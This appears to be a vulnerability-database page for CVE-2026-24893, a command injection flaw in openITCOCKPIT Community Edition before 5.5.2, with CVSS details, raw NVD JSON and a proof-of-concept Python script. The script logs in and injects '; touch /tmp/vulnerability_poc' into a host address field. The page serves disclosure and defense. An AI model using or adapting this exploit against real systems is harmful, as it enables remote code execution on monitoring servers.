Security Vulnerability Report
中文
CVE-2026-24893 CVSS 8.8 HIGH

CVE-2026-24893

Published: 2026-04-14 21:16:25
Last Modified: 2026-04-28 17:21:11

Description

openITCOCKPIT is an open source monitoring tool built for different monitoring engines. openITCOCKPIT Community Edition prior to version 5.5.2 contains a command injection vulnerability that allows an authenticated user with permission to add or modify hosts to execute arbitrary OS commands on the monitoring backend. The vulnerability arises because user-controlled host attributes (specifically the host address) are expanded into monitoring command templates without validation, escaping, or quoting. These templates are later executed by the monitoring engine (Nagios/Icinga) via a shell, resulting in remote code execution. Version 5.5.2 patches the issue.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:it-novum:openitcockpit:*:*:*:*:*:*:*:* - VULNERABLE
openITCOCKPIT Community Edition < 5.5.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Configuration target = "http://target-openitcockpit.local" username = "attacker" password = "password" # The payload injects a command to create a file as proof of execution # Vulnerable parameter: Host address malicious_address = "127.0.0.1; touch /tmp/vulnerability_poc" # Login to get session session = requests.Session() login_payload = { "login": username, "password": password } login_resp = session.post(f"{target}/login", data=login_payload) if login_resp.status_code == 200: # Prepare host creation data with malicious payload host_data = { "Host[name]": "TestHost", "Host[address]": malicious_address, # Injection point "Host[container]": "1" } # Submit the host configuration resp = session.post(f"{target}/hosts/add", data=host_data) if resp.status_code == 200: print("[+] Host added with malicious address.") print("[+] Check /tmp/vulnerability_poc on the server backend.") else: print("[-] Failed to add host.") else: print("[-] Login failed.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-24893", "sourceIdentifier": "[email protected]", "published": "2026-04-14T21:16:24.987", "lastModified": "2026-04-28T17:21:10.563", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "openITCOCKPIT is an open source monitoring tool built for different monitoring engines. openITCOCKPIT Community Edition prior to version 5.5.2 contains a command injection vulnerability that allows an authenticated user with permission to add or modify hosts to execute arbitrary OS commands on the monitoring backend. The vulnerability arises because user-controlled host attributes (specifically the host address) are expanded into monitoring command templates without validation, escaping, or quoting. These templates are later executed by the monitoring engine (Nagios/Icinga) via a shell, resulting in remote code execution. Version 5.5.2 patches the issue."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-20"}, {"lang": "en", "value": "CWE-78"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-78"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:it-novum:openitcockpit:*:*:*:*:*:*:*:*", "versionEndExcluding": "5.5.2", "matchCriteriaId": "59D6662E-E1EB-49A8-8B31-A15DBA895263"}]}]}], "references": [{"url": "https://github.com/openITCOCKPIT/openITCOCKPIT/releases/tag/openITCOCKPIT-5.5.2", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/openITCOCKPIT/openITCOCKPIT/security/advisories/GHSA-789q-pw85-j2q2", "source": "[email protected]", "tags": ["Mitigation", "Vendor Advisory"]}, {"url": "https://openitcockpit.io/blog/posts/2026/2026-04-14-openitcockpit-agent-3.6.0-and-5.5.2", "source": "[email protected]", "tags": ["Press/Media Coverage", "Release Notes"]}]}}